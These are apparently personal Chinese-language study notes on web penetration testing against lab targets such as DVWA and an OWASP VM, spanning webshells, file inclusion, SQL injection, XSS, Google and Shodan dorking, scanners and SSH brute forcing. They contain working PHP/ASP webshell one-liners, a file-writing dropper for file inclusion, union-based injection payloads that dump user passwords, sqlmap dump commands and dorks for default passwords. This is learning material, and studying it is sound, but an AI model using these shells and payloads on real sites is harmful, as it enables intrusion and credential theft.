美文网首页
web安全的学习笔记

web安全的学习笔记

作者: hjGamma | 来源:发表于2019-03-14 21:19 被阅读0次

    1.1安全渗透环境准备

    环境准备 靶机 owasp
    渗透机 kali
    集成 vmware
    kali owasp联网方式
    ~# dhclient -r etho 释放ip
    ~# dhclient -v etho 看到过程信息 DHCP客户端获取ip的四个过程:1.discover 广播形式 2.offer 3.request 4.ack
    systemctl restart ssh 重启
    systemctl restart ssh 停止
    systemctl status ssh 查看状态
    systemctl start ssh 开启
    lsof -i :22 查看端口
    创建用户
    useradd+用户名
    password+密码

    2.1 文件上传漏洞

    webshell 控制网站
    1.使用php函数 例如:phpinfo();
    <?php eval($_REQUEST['cmd']);?>

    2.system 使用linux系统命令 例如:ls,cp
    <?php system($_REQUEST['1']);?>

    2.2中国菜刀

    php:<?php @eval($_POST['1']);?>
    asp: <%eval request("pass")%>
    asp.net <%@ Page Language = "Jscript"%><%Request.Item["pass"]."unsafe");%>
    request 是网页端输入变量访问,POST是使用类似于中国菜刀类的工具进行连接,是C/S结构

    中国菜刀1
    中国菜刀2
    通过该文本文档查看菜刀的详细信息
    1.获取数据库
    2.获取web信息
    3.网站扫描
    如何防御:
    1.如高安全靶机对后缀进行限制
    2.在前端部署web应用防火墙看看有没有类似木马
    3.如果怀疑网站中毒,通过fgrep -R 'eval('带有关键字的'

    2.3 文件包含攻击

    robots(爬虫协议)声明不可以爬的内容
    文件包含漏洞是指当服务器开启 allow_url_include选项时,就可以通过php的某些特性函数(include(),require()和include_once(),require_once())利用url去动态包含文件,此时如果没有对文件进行严格的审查,就会导致审议文件读取或执行命令,文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞,远程文件包含漏洞是因为开启了php配置中的allow_url_fopen选项(选项开启之后,服务器允许包含一个远程的文件)。服务器通过php的特性(函数)去包含审议文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的
    1.本地文件包含LFI(local file inclusion)


    LFI

    2.远程文件包含RFI(remote file inclusion)


    RFI
    将一句话木马写入到shell.php中
    2.3.1本地文件包含+webshell

    edjpgcom 图片编辑器
    1.制作一句话木马 eg:1.jpg
    <?fputs(fopen("shell20.php","w"),'<?php eval($_post[1]);?>')?>
    2.上传图片木马文件
    3.执行文件包含并生成后门
    4.通过菜刀链接webshell

    2.3.2远程文件包含+webshell

    1.在自己的网站上创建一个含有木马的文件
    <?fputs(fopen("shell20.php","w"),'<?php eval($_post[1]);?>')?>
    2.通过包含漏洞远程上传
    如果通过将http://替换
    选择httphttp://://的形式

    3.1sql注入

    数字无法为当做字段名

    3.2联合查询

    select user ,password,host from mysql.user where 1=2 union select user_login,user_pass,1 from wordpress.wp_users limit 5;
    将已知表的字段与另一表对比用数字充当字段
    后面查询的值并不与显示的字段名做对比
    通过1=2 将前面的内容消掉
    union select user() database()
    version() 获取数据库版本信息
    database() 获取当前数据库名
    user() 获取当前用户名
    查询库中的表名 ' union select table_name,1 from information_schema.tables --'
    查询所有库名' union select * from information _schema.tables --'
    同时查询表名以及对应的库名
    ' union select table_schema,table_name from information_schema tables --'
    查询字段名
    column 列名
    ' union select 1,column_name from information_schema,columns where table _name='users' --'
    查询数据列
    ' union select 1, user from users --'
    concat函数(将几个字段名下的内容 连接到一起)
    ' union select password , concat (first_name,' ',last_name,' ',user) from users --'

    3.3给予错误的查询

    通过or条件
    select user_id,first_name,last_name from dvwa.users where first_name='yin' or 1=1;

    information_schema(数据库字典):保存了整个数据库所有表和库的所有信息

    查询数据库库名,表名 information_schema.tables
    查询所有库的所有表的所有信息select * from information_schema.tables\g;
    查询数据库 distinct 进行查重 show databases = select DISTINCT table_schema from information_schema.tables;
    仅查询库名表名在数据库字典中 select table_schema,table_name from information_schema.tables;
    concat进行字符串拼接 将合并相同库 select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\g;
    查询指定数据库 select table_name from information_schema.tables where tables_schema='dvwa'; 等价于show tables
    爆列 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    爆值 union select 1,group_concat(username,0x3a,password),3 from users--+

    3.4.1基于错误的注入(找寻注入点)

    比如:' 如果语法报错等说明有注入的可能性

    3.4.2基于布尔的注入

    思路是闭合sql语句,主要通过or,and等
    where user_id=' ' or 1=1 -- yangge ';
    中间的引号用于闭合前面的引号

    3.4.3 j时间盲注

    真条件' and sleep(5) --'

    sqlmap自动化注入

    -u 用于进行? =的注入
    --dbs获取所有数据库
    --current db 当前数据库
    --users 所有用户
    --current user 当前用户
    --D "database_name" --tables 库中有哪些表
    --D "database_name" -T "table_name" --columns 某个库某个表中有哪些列
    --dump-all 将全部表dump下来
    --dump-all --exclude-sysdbs 排除系统库
    --D "database_name" -T "table_name" --dump
    --D "database_name" -T "table_name"-C "username,password" --dump
    --batch --level=5 --risk=3
    -- batch --current -db 获取当前数据库
    -- batch -D nowasp --tables 获取数据库表
    -- batch -D nowasp -T accounts -columns获取表中字段
    --batch -D nowasp -T accounts -C "username , password" --dump 获取表中数据
    通过cookie 来免登陆

    cookie

    4.1 xss(cross site scripting)跨站脚本攻击

    xss 是指恶意攻击者利用网站没有对用户提交数据进行转移处理或者过滤不足的缺点,进而添加一些代码,嵌入到web页面中,使别的用户访问都会执行行相应的嵌入代码。从而盗取用户资料,利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式
    CSRF 跨站请求伪造
    常见的两种类型:


    存储型
    反射型

    4.2反射型

    4.1.2构造xss脚本

    1.常用html标签


    常用标签

    2.常用JavaScript方法


    js

    3.构造xss脚本


    1
    2
    3

    4.3 存储型

    browser exploitation framework(BeEF)
    beff是目前最强大的浏览器开源渗透测试框架,通过xss漏洞配合js脚本和metasploit进行渗透;beff是基于ruby语言编写的,并且支持圆形化界面,操作简单

    5.1 web信息收集

    5.1.1信息收集概述

    1.web信息搜索(探测)即web踩点,主要是掌握目标web服务的方方面面,是实现web渗透入侵前的准备工作
    2.web踩点内容包括操作系统,服务器类型,数据库类型,web容器,web语言,域名信息,网站目录。。。
    3.web信息搜集涉及搜索引擎,网站扫描,域名遍历,指纹识别等工作

    5.1.2 goodle hacking

    1.site(站点)

    site
    2.filetype
    指定文件类型
    filetype:pdf "关键词"
    3.inurl
    搜索url网址存在特定的关键字的网页,可以用来搜索有注入点的网站
    eg: inurl:.php?id=
    inurl:login.php
    4.intitle
    搜索标题存在特定关键字的网页
    intitle:后台登录 (搜索网页标题是“后台登录”的相关网页)
    intitle:后台管理 filetype:php (搜索网页标题是“后台管理”的php页面)
    intitle:index of "keyword" 搜索此关键字
    intitle:index of "parent directory" 查找其父目录
    intitle:index of "password" 搜索密码相关的索引目录的信息
    intitle:index of "login" 搜索登录页面信息
    intitle:index of "admin" 搜索后台管理页面信息
    5.intext
    搜索正文存在特定关键字的网页
    intext:Powered by Discuz 搜索Discuz论坛相关的页面
    intext:Powered by wordpress 搜索wordpress制作的博客网址
    intext:Powered by CMS 搜索CMS相关的页面(内容管理系统,建站系统)
    intext: Powered by xxx inurl:login 搜索此类网址的后台登录页面
    6.符号
    -keyword 强制结果不要出现此关键字
    *keyword 模糊搜索,强制结果包含此关键字
    "keyword" 强制搜索结果出现此关键字 google hacking
    5.1.3 shodan Hacking(类似钟馗之眼 zoomeye)

    shodan(撒旦搜索引擎)是由web工程师编写的,可扫描一切联网设备,除了常见的web服务器,还能扫描防火墙,路由器,交换机,摄像头,打印机等一切联网设备

    1.ip
    114.114.114.114
    2.service/protocol
    http
    http country:"DE" DE为德国 通过搜索两位国家代码
    http country:"DE" product:"Apache httpd"
    http product:"Apache httpd" 关于http与apache的内容

    ssh
    ssh default password
    ssh default password country :"JP"
    3.keyword
    基于关键词搜索的思路是根据banner信息(设备指纹)来搜索
    "default password" country :"TH"
    FTP anon successful (FTP 匿名登录)
    4.country
    country:cn,us,jp...
    5.product
    product:"Microsoft IIS httpd"
    product:"nginx"
    product:"Apache httpd"
    product:Mysql

    6.version
    product:mysql version:"5.1.73"
    product:"microsoft IIS httpd" version:"7.5"

    7.hostname
    hostname:.org
    hostname:.edu

    8.os(操作系统的版本)
    os:"Windows Server 2008 R2"
    os:"Windows 7or 8"
    os:"Linux 2.6.x"
    mstsc.exe 远程桌面连接

    9.net(网段)
    net:110.180.13.0/24
    200 ok net:110.180.13.0/24 (返回码)

    10.port(端口的查询)
    port:3389
    port:445
    port:22
    port:80
    port:443

    5.1.4 钟馗之眼 zoomeye
    钟馗之眼

    帮助界面 :shift + /
    ZoomEye 支持公网设备指纹检索和 Web 指纹检索

    网站指纹包括应用名、版本、前端框架、后端框架、服务端语言、服务器操作系统、网站容器、内容管理系统和数据库等。设备指纹包括应用名、版本、开放端口、操作系统、服务名、地理位置等直接输入关键词即可开始检索。如果需要全词匹配,请使用引号闭合词组。

    推荐PHP语言的网站:php

    推荐VxWorks系统的设备:VxWorks

    6.1 web信息收集之目标扫描

    https://sectools.org

    6.1.1 nmap

    nmap是安全渗透领域最强大的开源端口扫描器,能跨平台进行运行

    6.1.2 zenmap
    6.1.2 Openvas

    7.1 AWVS

    AWVS
    AWVS

    7.2 AppScan

    8.1 burpsuite

    功能


    target中的scope是做其他一切工作的基础

    8.1.2 spider





    9.1 SSH暴力破解

    通过密码字典不断进行猜测

    9.1.1海德拉 hydra

    顶级暴力密码破解攻击


    9.1.2 美杜莎 medusa
    m

    Session用来追踪每个用户的会话,使用服务器生成的SessionID进行标识,用以区分用户。Session存放在服务器的内存中,SessionID存放在服务器内存和客户机的Cookie里面。这样,当用户发出请求时,服务器将用户Cookie里面记录的SessionID和服务器内存中的SessionID进行比对,从而找到这个用户对应的Session进行操作。

    相关文章

      网友评论

          本文标题:web安全的学习笔记

          本文链接:https://www.haomeiwen.com/subject/wpxvpqtx.html